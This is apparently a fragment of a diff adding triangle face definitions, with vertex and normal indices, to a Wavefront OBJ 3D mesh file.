+f 1359//215 1358//215 1383//215
+f 1360//214 1359//214 1384//214
+f 1361//213 1360//213 1385//213
+f 1362//212 1361//212 1386//212
+f 1363//211 1362//211 1387//211
+f 1363//210 1387//210 1364//210
+f 1365//209 1364//209 1389//209
+f 1366//208 1365//208 1390//208
+f 1367//1218 1366//1218 1391//1218
+f 1368//206 1367//206 1392//206
+f 1368//205 1392//205 1345//205
+f 1369//228 1393//228 1370//228
+f 1370//227 1394//227 1371//227
+f 1372//226 1371//226 1396//226
+f 1372//225 1396//225 1373//225
+f 1373//224 1397//224 1374//224
+f 1375//223 1374//223 1399//223
+f 1375//222 1399//222 1376//222
+f 1377//221 1376//221 1401//221
+f 1377//220 1401//220 1378//220
+f 1379//219 1378//219 1403//219
+f 1379//218 1403//218 1380//218
+f 1380//217 1404//217 1381//217
+f 1381//240 1405//240 1382//240
+f 1382//239 1406//239 1383//239
+f 1383//238 1407//238 1384//238
+f 1385//237 1384//237 1409//237
+f 1385//236 1409//236 1386//236
+f 1386//235 1410//235 1387//235
+f 1387//234 1411//234 1388//234
+f 1389//233 1388//233 1413//233
+f 1389//232 1413//232 1390//232
+f 1390//231 1414//231 1391//231
+f 1392//230 1391//230 1416//230
+f 1369//229 1392//229 1393//229
+f 1393//252 1417//252 1394//252
+f 1394//251 1418//251 1395//251
+f 1396//250 1395//250 1420//250
+f 1396//249 1420//249 1397//249
+f 1398//248 1397//248 1422//248
+f 1399//247 1398//247 1423//247
+f 1399//246 1423//246 1400//246
+f 1401//245 1400//245 1425//245
+f 1402//244 1401//244 1426//244
+f 1402//243 1426//243 1403//243
+f 1404//242 1403//242 1428//242
+f 1405//241 1404//241 1429//241
+f 1405//264 1429//264 1406//264
+f 1406//263 1430//263 1407//263
+f 1408//262 1407//262 1432//262
+f 1408//261 1432//261 1409//261
+f 1409//260 1433//260 1410//260
+f 1411//259 1410//259 1435//259
+f 1411//258 1435//258 1412//258
+f 1412//257 1436//257 1413//257
+f 1414//256 1413//256 1438//256
+f 1414//255 1438//255 1415//255
+f 1415//254 1439//254 1416//254
+f 1416//253 1440//253 1393//253
+f 1418//1158 1417//1158 1442//1158
+f 1418//275 1442//275 1419//275
+f 1420//274 1419//274 1444//274
+f 1420//273 1444//273 1421//273
+f 1421//272 1445//272 1422//272
+f 1423//271 1422//271 1447//271
+f 1424//270 1423//270 1448//270
+f 1424//269 1448//269 1425//269
+f 1426//268 1425//268 1450//268
+f 1426//267 1450//267 1427//267
+f 1428//266 1427//266 1452//266
+f 1428//265 1452//265 1429//265
+f 1430//288 1429//288 1454//288
+f 1431//287 1430//287 1455//287
+f 1432//286 1431//286 1456//286
+f 1433//285 1432//285 1457//285
+f 1433//284 1457//284 1434//284
+f 1434//283 1458//283 1435//283
+f 1435//282 1459//282 1436//282
+f 1436//281 1460//281 1437//281
+f 1438//280 1437//280 1462//280
+f 1438//279 1462//279 1439//279
+f 1440//278 1439//278 1464//278
+f 1440//277 1464//277 1417//277
+f 1442//300 1441//300 1466//300
+f 1442//299 1466//299 1443//299
+f 1443//298 1467//298 1444//298
+f 1444//297 1468//297 1445//297
+f 1445//296 1469//296 1446//296
+f 1446//295 1470//295 1447//295
+f 1447//294 1471//294 1448//294
+f 1448//293 1472//293 1449//293
+f 1449//292 1473//292 1450//292
+f 1450//291 1474//291 1451//291
+f 1452//290 1451//290 1476//290
+f 1453//289 1452//289 1477//289
+f 1453//312 1477//312 1454//312
+f 1454//311 1478//311 1455//311
+f 1455//310 1479//310 1456//310
+f 1457//309 1456//309 1481//309
+f 1457//308 1481//308 1458//308
+f 1458//307 1482//307 1459//307
+f 1459//306 1483//306 1460//306
+f 1461//305 1460//305 1485//305
+f 1462//304 1461//304 1486//304
+f 1463//303 1462//303 1487//303
+f 1464//302 1463//302 1488//302
+f 1464//301 1488//301 1441//301
+f 1466//324 1465//324 1490//324
+f 1466//1162 1490//1162 1467//1162
+f 1468//322 1467//322 1492//322
+f 1469//321 1468//321 1493//321
+f 1470//320 1469//320 1494//320
+f 1471//319 1470//319 1495//319
+f 1472//318 1471//318 1496//318
+f 1473//317 1472//317 1497//317
+f 1474//316 1473//316 1498//316
+f 1475//315 1474//315 1499//315
+f 1476//314 1475//314 1500//314
+f 1476//313 1500//313 1477//313
+f 1477//336 1501//336 1478//336
+f 1478//335 1502//335 1479//335
+f 1479//334 1503//334 1480//334
+f 1480//333 1504//333 1481//333
+f 1481//332 1505//332 1482//332
+f 1482//331 1506//331 1483//331
+f 1483//330 1507//330 1484//330
+f 1484//329 1508//329 1485//329
+f 1485//328 1509//328 1486//328
+f 1486//327 1510//327 1487//327
+f 1487//326 1511//326 1488//326
+f 1488//325 1512//325 1465//325
+f 1489//348 1513//348 1490//348
+f 1491//347 1490//347 1515//347
+f 1491//346 1515//346 1492//346
+f 1493//345 1492//345 1517//345
+f 1493//344 1517//344 1494//344
+f 1494//343 1518//343 1495//343
+f 1495//342 1519//342 1496//342
+f 1496//341 1520//341 1497//341
+f 1497//340 1521//340 1498//340
+f 1498//339 1522//339 1499//339
+f 1499//338 1523//338 1500//338
+f 1500//337 1524//337 1501//337
+f 1501//360 1525//360 1502//360
+f 1503//359 1502//359 1527//359
+f 1504//358 1503//358 1528//358
+f 1505//357 1504//357 1529//357
+f 1506//356 1505//356 1530//356
+f 1506//355 1530//355 1507//355
+f 1508//354 1507//354 1532//354
+f 1509//353 1508//353 1533//353
+f 1509//352 1533//352 1510//352
+f 1511//351 1510//351 1535//351
+f 1511//350 1535//350 1512//350
+f 1489//349 1512//349 1513//349
+f 1513//372 1537//372 1514//372
+f 1515//371 1514//371 1539//371
+f 1515//1219 1539//1219 1516//1219
+f 1517//369 1516//369 1541//369
+f 1517//368 1541//368 1518//368
+f 1519//367 1518//367 1543//367
+f 1520//366 1519//366 1544//366
+f 1521//365 1520//365 1545//365
+f 1521//364 1545//364 1522//364
+f 1522//1167 1546//1167 1523//1167
+f 1524//362 1523//362 1548//362
+f 1525//361 1524//361 1549//361
+f 1525//384 1549//384 1526//384
+f 1526//383 1550//383 1527//383
+f 1527//1199 1551//1199 1528//1199
+f 1528//381 1552//381 1529//381
+f 1529//380 1553//380 1530//380
+f 1530//379 1554//379 1531//379
+f 1531//378 1555//378 1532//378
+f 1532//377 1556//377 1533//377
+f 1533//376 1557//376 1534//376
+f 1535//1220 1534//1220 1559//1220
+f 1535//374 1559//374 1536//374
+f 1513//373 1536//373 1537//373
+f 1538//396 1537//396 1562//396
+f 1538//395 1562//395 1539//395
+f 1539//394 1563//394 1540//394
+f 1541//393 1540//393 1565//393
+f 1541//392 1565//392 1542//392
+f 1542//391 1566//391 1543//391
+f 1543//390 1567//390 1544//390
+f 1544//389 1568//389 1545//389
+f 1545//388 1569//388 1546//388
+f 1546//387 1570//387 1547//387
+f 1548//386 1547//386 1572//386
+f 1549//385 1548//385 1573//385
+f 1549//408 1573//408 1550//408
+f 1550//407 1574//407 1551//407
+f 1552//406 1551//406 1576//406
+f 1553//405 1552//405 1577//405
+f 1554//404 1553//404 1578//404
+f 1555//403 1554//403 1579//403
+f 1555//402 1579//402 1556//402
+f 1557//401 1556//401 1581//401
+f 1557//400 1581//400 1558//400
+f 1559//399 1558//399 1583//399
+f 1560//398 1559//398 1584//398
+f 1537//397 1560//397 1561//397
+f 1562//420 1561//420 1586//420
+f 1562//419 1586//419 1563//419
+f 1564//418 1563//418 1588//418
+f 1565//417 1564//417 1589//417
+f 1566//416 1565//416 1590//416
+f 1566//415 1590//415 1567//415
+f 1567//414 1591//414 1568//414
+f 1568//413 1592//413 1569//413
+f 1570//412 1569//412 1594//412
+f 1570//411 1594//411 1571//411
+f 1572//410 1571//410 1596//410
+f 1573//409 1572//409 1597//409
+f 1573//432 1597//432 1574//432
+f 1574//431 1598//431 1575//431
+f 1576//430 1575//430 1600//430
+f 1577//429 1576//429 1601//429
+f 1578//428 1577//428 1602//428
+f 1578//427 1602//427 1579//427
+f 1580//426 1579//426 1604//426
+f 1580//425 1604//425 1581//425
+f 1581//424 1605//424 1582//424
+f 1582//423 1606//423 1583//423
+f 1584//422 1583//422 1608//422
+f 1561//421 1584//421 1585//421
+f 1585//444 1609//444 1586//444
+f 1586//443 1610//443 1587//443
+f 1588//1203 1587//1203 1612//1203
+f 1588//441 1612//441 1589//441
+f 1590//440 1589//440 1614//440
+f 1590//439 1614//439 1591//439
+f 1592//438 1591//438 1616//438
+f 1593//437 1592//437 1617//437
+f 1594//436 1593//436 1618//436
+f 1594//1168 1618//1168 1595//1168
+f 1595//434 1619//434 1596//434
+f 1596//433 1620//433 1597//433
+f 1598//456 1597//456 1622//456
+f 1598//455 1622//455 1599//455
+f 1600//1169 1599//1169 1624//1169
+f 1600//453 1624//453 1601//453
+f 1601//452 1625//452 1602//452
+f 1602//451 1626//451 1603//451
+f 1603//450 1627//450 1604//450
+f 1605//449 1604//449 1629//449
+f 1606//448 1605//448 1630//448
+f 1606//1204 1630//1204 1607//1204
+f 1608//446 1607//446 1632//446
+f 1585//445 1608//445 1609//445
+f 1610//468 1609//468 1634//468
+f 1610//467 1634//467 1611//467
+f 1612//466 1611//466 1636//466
+f 1612//465 1636//465 1613//465
+f 1613//464 1637//464 1614//464
+f 1615//463 1614//463 1639//463
+f 1615//462 1639//462 1616//462
+f 1617//461 1616//461 1641//461
+f 1617//460 1641//460 1618//460
+f 1619//459 1618//459 1643//459
+f 1619//458 1643//458 1620//458
+f 1620//457 1644//457 1621//457
+f 1622//480 1621//480 1646//480
+f 1622//479 1646//479 1623//479
+f 1623//478 1647//478 1624//478
+f 1624//477 1648//477 1625//477
+f 1625//476 1649//476 1626//476
+f 1627//475 1626//475 1651//475
+f 1627//474 1651//474 1628//474
+f 1629//473 1628//473 1653//473
+f 1629//472 1653//472 1630//472
+f 1630//471 1654//471 1631//471
+f 1632//470 1631//470 1656//470
+f 1632//469 1656//469 1609//469
+f 1633//492 1657//492 1634//492
+f 1634//491 1658//491 1635//491
+f 1636//490 1635//490 1660//490
+f 1637//489 1636//489 1661//489
+f 1637//488 1661//488 1638//488
+f 1638//487 1662//487 1639//487
+f 1640//486 1639//486 1664//486
+f 1641//485 1640//485 1665//485
+f 1641//484 1665//484 1642//484
+f 1642//483 1666//483 1643//483
+f 1644//482 1643//482 1668//482
+f 1645//481 1644//481 1669//481
+f 1645//504 1669//504 1646//504
+f 1646//503 1670//503 1647//503
+f 1647//502 1671//502 1648//502
+f 1649//501 1648//501 1673//501
+f 1649//500 1673//500 1650//500
+f 1650//499 1674//499 1651//499
+f 1652//498 1651//498 1676//498
+f 1653//497 1652//497 1677//497
+f 1653//496 1677//496 1654//496
+f 1654//495 1678//495 1655//495
+f 1656//494 1655//494 1680//494
+f 1656//493 1680//493 1633//493
+f 1657//516 1681//516 1658//516
+f 1658//515 1682//515 1659//515
+f 1659//514 1683//514 1660//514
+f 1660//513 1684//513 1661//513
+f 1661//512 1685//512 1662//512
+f 1663//511 1662//511 1687//511
+f 1663//510 1687//510 1664//510
+f 1665//509 1664//509 1689//509
+f 1665//508 1689//508 1666//508
+f 1666//507 1690//507 1667//507
+f 1667//506 1691//506 1668//506
+f 1668//505 1692//505 1669//505
+f 1670//528 1669//528 1694//528
+f 1671//527 1670//527 1695//527
+f 1671//526 1695//526 1672//526
+f 1673//525 1672//525 1697//525
+f 1673//524 1697//524 1674//524
+f 1675//523 1674//523 1699//523
+f 1675//1221 1699//1221 1676//1221
+f 1677//521 1676//521 1701//521
+f 1678//520 1677//520 1702//520
+f 1679//519 1678//519 1703//519
+f 1680//518 1679//518 1704//518
+f 1657//517 1680//517 1681//517
+f 1681//540 1705//540 1682//540
+f 1683//539 1682//539 1707//539
+f 1684//538 1683//538 1708//538
+f 1684//537 1708//537 1685//537
+f 1686//536 1685//536 1710//536
+f 1686//535 1710//535 1687//535
+f 1687//534 1711//534 1688//534
+f 1689//533 1688//533 1713//533
+f 1689//532 1713//532 1690//532
+f 1691//531 1690//531 1715//531
+f 1691//530 1715//530 1692//530
+f 1692//529 1716//529 1693//529
+f 1694//552 1693//552 1718//552
+f 1695//551 1694//551 1719//551
+f 1695//550 1719//550 1696//550
+f 1696//549 1720//549 1697//549
+f 1697//548 1721//548 1698//548
+f 1699//547 1698//547 1723//547
+f 1700//546 1699//546 1724//546
+f 1700//545 1724//545 1701//545
+f 1702//544 1701//544 1726//544
+f 1702//543 1726//543 1703//543
+f 1703//542 1727//542 1704//542
+f 1681//541 1704//541 1705//541
+f 1705//564 1729//564 1706//564
+f 1706//563 1730//563 1707//563
+f 1708//562 1707//562 1732//562
+f 1709//561 1708//561 1733//561
+f 1710//560 1709//560 1734//560
+f 1710//559 1734//559 1711//559
+f 1712//558 1711//558 1736//558
+f 1713//557 1712//557 1737//557
+f 1714//556 1713//556 1738//556
+f 1714//555 1738//555 1715//555
+f 1715//554 1739//554 1716//554
+f 1717//553 1716//553 1741//553
+f 1717//576 1741//576 1718//576
+f 1719//575 1718//575 1743//575
+f 1719//574 1743//574 1720//574
+f 1721//573 1720//573 1745//573
+f 1721//572 1745//572 1722//572
+f 1722//571 1746//571 1723//571
+f 1724//570 1723//570 1748//570
+f 1724//569 1748//569 1725//569
+f 1725//568 1749//568 1726//568
+f 1726//567 1750//567 1727//567
+f 1728//566 1727//566 1752//566
+f 1705//565 1728//565 1729//565
+f 1729//588 1753//588 1730//588
+f 1730//587 1754//587 1731//587
+f 1732//586 1731//586 1756//586
+f 1732//585 1756//585 1733//585
+f 1733//584 1757//584 1734//584
+f 1734//583 1758//583 1735//583
+f 1735//582 1759//582 1736//582
+f 1736//581 1760//581 1737//581
+f 1737//580 1761//580 1738//580
+f 1739//579 1738//579 1763//579
+f 1739//578 1763//578 1740//578
+f 1741//577 1740//577 1765//577
+f 1741//600 1765//600 1742//600
+f 1743//599 1742//599 1767//599
+f 1743//598 1767//598 1744//598
+f 1745//597 1744//597 1769//597
+f 1746//596 1745//596 1770//596
+f 1747//595 1746//595 1771//595
+f 1748//594 1747//594 1772//594
+f 1748//593 1772//593 1749//593
+f 1750//592 1749//592 1774//592
+f 1750//591 1774//591 1751//591
+f 1752//590 1751//590 1776//590
+f 1752//589 1776//589 1729//589
+f 1753//612 1777//612 1754//612
+f 1754//611 1778//611 1755//611
+f 1755//610 1779//610 1756//610
+f 1757//609 1756//609 1781//609
+f 1757//608 1781//608 1758//608
+f 1759//607 1758//607 1783//607
+f 1759//606 1783//606 1760//606
+f 1761//605 1760//605 1785//605
+f 1762//604 1761//604 1786//604
+f 1762//603 1786//603 1763//603
+f 1763//602 1787//602 1764//602
+f 1765//601 1764//601 1789//601
+f 1765//624 1789//624 1766//624
+f 1767//623 1766//623 1791//623
+f 1768//622 1767//622 1792//622
+f 1768//621 1792//621 1769//621
+f 1769//620 1793//620 1770//620
+f 1771//619 1770//619 1795//619
+f 1771//618 1795//618 1772//618
+f 1772//617 1796//617 1773//617
+f 1773//616 1797//616 1774//616
+f 1774//615 1798//615 1775//615
+f 1776//614 1775//614 1800//614
+f 1753//613 1776//613 1777//613
+f 1778//636 1777//636 1802//636
+f 1778//635 1802//635 1779//635
+f 1779//634 1803//634 1780//634
+f 1781//633 1780//633 1805//633
+f 1782//632 1781//632 1806//632
+f 1783//1172 1782//1172 1807//1172
+f 1783//630 1807//630 1784//630
+f 1784//629 1808//629 1785//629
+f 1785//628 1809//628 1786//628
+f 1787//627 1786//627 1811//627
+f 1787//626 1811//626 1788//626
+f 1789//625 1788//625 1813//625
+f 1789//648 1813//648 1790//648
+f 1790//647 1814//647 1791//647
+f 1791//646 1815//646 1792//646
+f 1792//645 1816//645 1793//645
+f 1794//644 1793//644 1818//644
+f 1794//643 1818//643 1795//643
+f 1795//1222 1819//1222 1796//1222
+f 1796//641 1820//641 1797//641
+f 1797//640 1821//640 1798//640
+f 1799//639 1798//639 1823//639
+f 1800//638 1799//638 1824//638
+f 1800//637 1824//637 1777//637
+f 1802//660 1801//660 1826//660
+f 1802//659 1826//659 1803//659
+f 1803//658 1827//658 1804//658
+f 1805//657 1804//657 1829//657
+f 1805//656 1829//656 1806//656
+f 1806//655 1830//655 1807//655
+f 1807//654 1831//654 1808//654
+f 1808//653 1832//653 1809//653
+f 1809//652 1833//652 1810//652
+f 1810//651 1834//651 1811//651
+f 1811//650 1835//650 1812//650
+f 1812//649 1836//649 1813//649
+f 1814//672 1813//672 1838//672
+f 1815//671 1814//671 1839//671
+f 1816//670 1815//670 1840//670
+f 1817//669 1816//669 1841//669
+f 1818//668 1817//668 1842//668
+f 1819//667 1818//667 1843//667
+f 1820//666 1819//666 1844//666
+f 1821//665 1820//665 1845//665
+f 1821//664 1845//664 1822//664
+f 1823//663 1822//663 1847//663
+f 1824//662 1823//662 1848//662
+f 1824//661 1848//661 1801//661
+f 1826//684 1825//684 1850//684
+f 1826//683 1850//683 1827//683
+f 1827//682 1851//682 1828//682
+f 1829//681 1828//681 1853//681
+f 1830//680 1829//680 1854//680
+f 1831//679 1830//679 1855//679
+f 1832//678 1831//678 1856//678
+f 1832//677 1856//677 1833//677
+f 1834//676 1833//676 1858//676
+f 1835//675 1834//675 1859//675
+f 1835//674 1859//674 1836//674
+f 1836//673 1860//673 1837//673
+f 1838//696 1837//696 1862//696
+f 1839//695 1838//695 1863//695
+f 1839//694 1863//694 1840//694
+f 1840//693 1864//693 1841//693
+f 1842//692 1841//692 1866//692
+f 1842//691 1866//691 1843//691
+f 1844//690 1843//690 1868//690
+f 1844//689 1868//689 1845//689
+f 1845//688 1869//688 1846//688
+f 1847//687 1846//687 1871//687
+f 1848//686 1847//686 1872//686
+f 1848//685 1872//685 1825//685
+f 1849//708 1873//708 1850//708
+f 1850//707 1874//707 1851//707
+f 1851//706 1875//706 1852//706
+f 1852//705 1876//705 1853//705
+f 1854//704 1853//704 1878//704
+f 1854//703 1878//703 1855//703
+f 1856//702 1855//702 1880//702
+f 1856//701 1880//701 1857//701
+f 1857//700 1881//700 1858//700
+f 1858//1174 1882//1174 1859//1174
+f 1859//698 1883//698 1860//698
+f 1861//697 1860//697 1885//697
+f 1861//720 1885//720 1862//720
+f 1863//719 1862//719 1887//719
+f 1864//1175 1863//1175 1888//1175
+f 1865//717 1864//717 1889//717
+f 1866//716 1865//716 1890//716
+f 1866//715 1890//715 1867//715
+f 1868//714 1867//714 1892//714
+f 1868//713 1892//713 1869//713
+f 1870//712 1869//712 1894//712
+f 1871//711 1870//711 1895//711
+f 1871//710 1895//710 1872//710
+f 1872//709 1896//709 1849//709
+f 1873//732 1897//732 1874//732
+f 1875//731 1874//731 1899//731
+f 1876//730 1875//730 1900//730
+f 1877//729 1876//729 1901//729
+f 1878//728 1877//728 1902//728
+f 1879//727 1878//727 1903//727
+f 1880//726 1879//726 1904//726
+f 1881//725 1880//725 1905//725
+f 1881//724 1905//724 1882//724
+f 1883//723 1882//723 1907//723
+f 1884//722 1883//722 1908//722
+f 1884//721 1908//721 1885//721
+f 1885//744 1909//744 1886//744
+f 1886//743 1910//743 1887//743
+f 1887//742 1911//742 1888//742
+f 1888//741 1912//741 1889//741
+f 1889//740 1913//740 1890//740
+f 1890//739 1914//739 1891//739
+f 1891//738 1915//738 1892//738
+f 1892//737 1916//737 1893//737
+f 1893//736 1917//736 1894//736
+f 1895//735 1894//735 1919//735
+f 1895//734 1919//734 1896//734
+f 1873//733 1896//733 1897//733
+f 1897//756 1921//756 1898//756
+f 1899//755 1898//755 1923//755
+f 1899//754 1923//754 1900//754
+f 1900//753 1924//753 1901//753
+f 1901//752 1925//752 1902//752
+f 1902//751 1926//751 1903//751
+f 1903//750 1927//750 1904//750
+f 1905//749 1904//749 1929//749
+f 1905//748 1929//748 1906//748
+f 1907//747 1906//747 1931//747
+f 1907//746 1931//746 1908//746
+f 1909//745 1908//745 1933//745
+f 1909//768 1933//768 1910//768
+f 1911//767 1910//767 1935//767
+f 1911//766 1935//766 1912//766
+f 1913//765 1912//765 1937//765
+f 1913//764 1937//764 1914//764
+f 1915//763 1914//763 1939//763
+f 1916//762 1915//762 1940//762
+f 1916//761 1940//761 1917//761
+f 1918//760 1917//760 1942//760
+f 1919//759 1918//759 1943//759
+f 1919//758 1943//758 1920//758
+f 1897//757 1920//757 1921//757
+f 1922//780 1921//780 1946//780
+f 1923//779 1922//779 1947//779
+f 1924//778 1923//778 1948//778
+f 1925//777 1924//777 1949//777
+f 1925//776 1949//776 1926//776
+f 1927//775 1926//775 1951//775
+f 1928//774 1927//774 1952//774
+f 1928//773 1952//773 1929//773
+f 1930//772 1929//772 1954//772
+f 1931//771 1930//771 1955//771
+f 1931//770 1955//770 1932//770
+f 1933//769 1932//769 1957//769
+f 1933//792 1957//792 1934//792
+f 1935//791 1934//791 1959//791
+f 1935//790 1959//790 1936//790
+f 1936//789 1960//789 1937//789
+f 1937//788 1961//788 1938//788
+f 1938//787 1962//787 1939//787
+f 1939//786 1963//786 1940//786
+f 1941//785 1940//785 1965//785
+f 1941//784 1965//784 1942//784
+f 1942//783 1966//783 1943//783
+f 1943//782 1967//782 1944//782
+f 1944//781 1968//781 1921//781
+f 1945//804 1969//804 1946//804
+f 1947//803 1946//803 1971//803
+f 1947//802 1971//802 1948//802
+f 1949//801 1948//801 1973//801
+f 1949//800 1973//800 1950//800
+f 1950//799 1974//799 1951//799
+f 1952//798 1951//798 1976//798
+f 1953//797 1952//797 1977//797
+f 1953//796 1977//796 1954//796
+f 1955//795 1954//795 1979//795
+f 1955//794 1979//794 1956//794
+f 1956//793 1980//793 1957//793
+f 1958//816 1957//816 1982//816
+f 1959//815 1958//815 1983//815
+f 1959//814 1983//814 1960//814
+f 1960//813 1984//813 1961//813
+f 1961//812 1985//812 1962//812
+f 1962//811 1986//811 1963//811
+f 1964//810 1963//810 1988//810
+f 1964//809 1988//809 1965//809
+f 1965//808 1989//808 1966//808
+f 1967//807 1966//807 1991//807
+f 1967//806 1991//806 1968//806
+f 1945//805 1968//805 1969//805
+f 1969//828 1993//828 1970//828
+f 1971//827 1970//827 1995//827
+f 1971//826 1995//826 1972//826
+f 1972//825 1996//825 1973//825
+f 1974//824 1973//824 1998//824
+f 1975//823 1974//823 1999//823
+f 1975//822 1999//822 1976//822
+f 1976//821 2000//821 1977//821
+f 1977//820 2001//820 1978//820
+f 1978//819 2002//819 1979//819
+f 1979//818 2003//818 1980//818
+f 1980//817 2004//817 1981//817
+f 1982//840 1981//840 2006//840
+f 1983//839 1982//839 2007//839
+f 1984//838 1983//838 2008//838
+f 1985//837 1984//837 2009//837
+f 1985//836 2009//836 1986//836
+f 1987//835 1986//835 2011//835
+f 1987//834 2011//834 1988//834
+f 1988//833 2012//833 1989//833
+f 1990//832 1989//832 2014//832
+f 1991//831 1990//831 2015//831
+f 1991//830 2015//830 1992//830
+f 1992//829 2016//829 1969//829
+f 1993//852 2017//852 1994//852
+f 1995//851 1994//851 2019//851
+f 1995//850 2019//850 1996//850
+f 1997//849 1996//849 2021//849
+f 1997//848 2021//848 1998//848
+f 1999//847 1998//847 2023//847
+f 2000//846 1999//846 2024//846
+f 2001//845 2000//845 2025//845
+f 2002//844 2001//844 2026//844
+f 2002//843 2026//843 2003//843
+f 2004//842 2003//842 2028//842
+f 2004//1223 2028//1223 2005//1223
+f 2006//1184 2005//1184 2030//1184
+f 2006//863 2030//863 2007//863
+f 2007//862 2031//862 2008//862
+f 2008//861 2032//861 2009//861
+f 2009//860 2033//860 2010//860
+f 2010//859 2034//859 2011//859
+f 2012//858 2011//858 2036//858
+f 2013//857 2012//857 2037//857
+f 2013//856 2037//856 2014//856
+f 2015//855 2014//855 2039//855
+f 2015//854 2039//854 2016//854
+f 2016//1224 2040//1224 1993//1224
+f 2017//876 2041//876 2018//876
+f 2019//875 2018//875 2043//875
+f 2019//874 2043//874 2020//874
+f 2021//873 2020//873 2045//873
+f 2021//872 2045//872 2022//872
+f 2022//871 2046//871 2023//871
+f 2024//870 2023//870 2048//870
+f 2025//869 2024//869 2049//869
+f 2025//868 2049//868 2026//868
+f 2026//867 2050//867 2027//867
+f 2028//866 2027//866 2052//866
+f 2028//865 2052//865 2029//865
+f 2030//1212 2029//1212 2054//1212
+f 2030//887 2054//887 2031//887
+f 2032//886 2031//886 2056//886
+f 2032//885 2056//885 2033//885
+f 2033//884 2057//884 2034//884
+f 2035//883 2034//883 2059//883
+f 2035//882 2059//882 2036//882
+f 2037//881 2036//881 2061//881
+f 2037//880 2061//880 2038//880
+f 2039//879 2038//879 2063//879
+f 2039//878 2063//878 2040//878
+f 2017//1211 2040//1211 2041//1211
+f 2041//900 2065//900 2042//900
+f 2043//1185 2042//1185 2067//1185
+f 2043//898 2067//898 2044//898
+f 2044//897 2068//897 2045//897
+f 2046//896 2045//896 2070//896
+f 2046//895 2070//895 2047//895
+f 2047//894 2071//894 2048//894
+f 2049//893 2048//893 2073//893
+f 2049//892 2073//892 2050//892
+f 2051//891 2050//891 2075//891
+f 2051//890 2075//890 2052//890
+f 2052//889 2076//889 2053//889
+f 2054//912 2053//912 2078//912
+f 2055//911 2054//911 2079//911
+f 2055//910 2079//910 2056//910
+f 2057//909 2056//909 2081//909
+f 2057//908 2081//908 2058//908
+f 2059//907 2058//907 2083//907
+f 2060//906 2059//906 2084//906
+f 2060//905 2084//905 2061//905
+f 2061//904 2085//904 2062//904
+f 2063//903 2062//903 2087//903
+f 2063//902 2087//902 2064//902
+f 2064//901 2088//901 2041//901
+f 2065//924 2089//924 2066//924
+f 2067//923 2066//923 2091//923
+f 2067//922 2091//922 2068//922
+f 2069//921 2068//921 2093//921
+f 2070//920 2069//920 2094//920
+f 2071//919 2070//919 2095//919
+f 2071//918 2095//918 2072//918
+f 2072//917 2096//917 2073//917
+f 2073//916 2097//916 2074//916
+f 2074//915 2098//915 2075//915
+f 2076//914 2075//914 2100//914
+f 2076//913 2100//913 2077//913
+f 2077//936 2101//936 2078//936
+f 2078//935 2102//935 2079//935
+f 2080//934 2079//934 2104//934
+f 2081//933 2080//933 2105//933
+f 2082//932 2081//932 2106//932
+f 2083//931 2082//931 2107//931
+f 2083//930 2107//930 2084//930
+f 2084//929 2108//929 2085//929
+f 2085//928 2109//928 2086//928
+f 2087//927 2086//927 2111//927
+f 2087//926 2111//926 2088//926
+f 2065//925 2088//925 2089//925
+f 2090//948 2089//948 2114//948
+f 2091//947 2090//947 2115//947
+f 2091//946 2115//946 2092//946
+f 2092//945 2116//945 2093//945
+f 2093//944 2117//944 2094//944
+f 2094//943 2118//943 2095//943
+f 2095//942 2119//942 2096//942
+f 2096//941 2120//941 2097//941
+f 2098//940 2097//940 2122//940
+f 2099//1187 2098//1187 2123//1187
+f 2100//938 2099//938 2124//938
+f 2100//937 2124//937 2101//937
+f 2102//960 2101//960 2126//960
+f 2102//959 2126//959 2103//959
+f 2103//958 2127//958 2104//958
+f 2104//957 2128//957 2105//957
+f 2106//956 2105//956 2130//956
+f 2107//955 2106//955 2131//955
+f 2108//954 2107//954 2132//954
+f 2109//953 2108//953 2133//953
+f 2110//952 2109//952 2134//952
+f 2111//951 2110//951 2135//951
+f 2111//950 2135//950 2112//950
+f 2112//949 2136//949 2089//949
+f 2114//972 2113//972 2138//972
+f 2114//1225 2138//1225 2115//1225
+f 2116//970 2115//970 2140//970
+f 2117//969 2116//969 2141//969
+f 2117//968 2141//968 2118//968
+f 2118//967 2142//967 2119//967
+f 2120//966 2119//966 2144//966
+f 2120//965 2144//965 2121//965
+f 2121//964 2145//964 2122//964
+f 2122//963 2146//963 2123//963
+f 2123//962 2147//962 2124//962
+f 2125//961 2124//961 2149//961
+f 2125//984 2149//984 2126//984
+f 2126//1226 2150//1226 2127//1226
+f 2128//982 2127//982 2152//982
+f 2129//981 2128//981 2153//981
+f 2130//980 2129//980 2154//980
+f 2130//979 2154//979 2131//979
+f 2132//978 2131//978 2156//978
+f 2132//977 2156//977 2133//977
+f 2133//976 2157//976 2134//976
+f 2134//975 2158//975 2135//975
+f 2135//1227 2159//1227 2136//1227
+f 2136//973 2160//973 2113//973
+f 2138//996 2137//996 2162//996
+f 2138//995 2162//995 2139//995
+f 2139//994 2163//994 2140//994
+f 2140//993 2164//993 2141//993
+f 2141//992 2165//992 2142//992
+f 2142//991 2166//991 2143//991
+f 2143//990 2167//990 2144//990
+f 2144//989 2168//989 2145//989
+f 2146//988 2145//988 2170//988
+f 2146//987 2170//987 2147//987
+f 2148//986 2147//986 2172//986
+f 2149//985 2148//985 2173//985
+f 2149//1008 2173//1008 2150//1008
+f 2150//1007 2174//1007 2151//1007
+f 2152//1006 2151//1006 2176//1006
+f 2152//1005 2176//1005 2153//1005
+f 2154//1004 2153//1004 2178//1004
+f 2155//1003 2154//1003 2179//1003
+f 2156//1002 2155//1002 2180//1002
+f 2156//1001 2180//1001 2157//1001
+f 2158//1000 2157//1000 2182//1000
+f 2158//999 2182//999 2159//999
+f 2160//998 2159//998 2184//998
+f 2160//997 2184//997 2137//997
+f 2162//1020 2161//1020 2186//1020
+f 2162//1019 2186//1019 2163//1019
+f 2164//1018 2163//1018 2188//1018
+f 2164//1017 2188//1017 2165//1017
+f 2166//1016 2165//1016 2190//1016
+f 2167//1015 2166//1015 2191//1015
+f 2168//1014 2167//1014 2192//1014
+f 2169//1013 2168//1013 2193//1013
+f 2170//1012 2169//1012 2194//1012
+f 2170//1191 2194//1191 2171//1191
+f 2171//1010 2195//1010 2172//1010
+f 2172//1009 2196//1009 2173//1009
+f 2174//1032 2173//1032 2198//1032
+f 2174//1031 2198//1031 2175//1031
+f 2175//1192 2199//1192 2176//1192
+f 2176//1029 2200//1029 2177//1029
+f 2177//1028 2201//1028 2178//1028
+f 2178//1027 2202//1027 2179//1027
+f 2179//1026 2203//1026 2180//1026
+f 2180//1025 2204//1025 2181//1025
+f 2181//1024 2205//1024 2182//1024
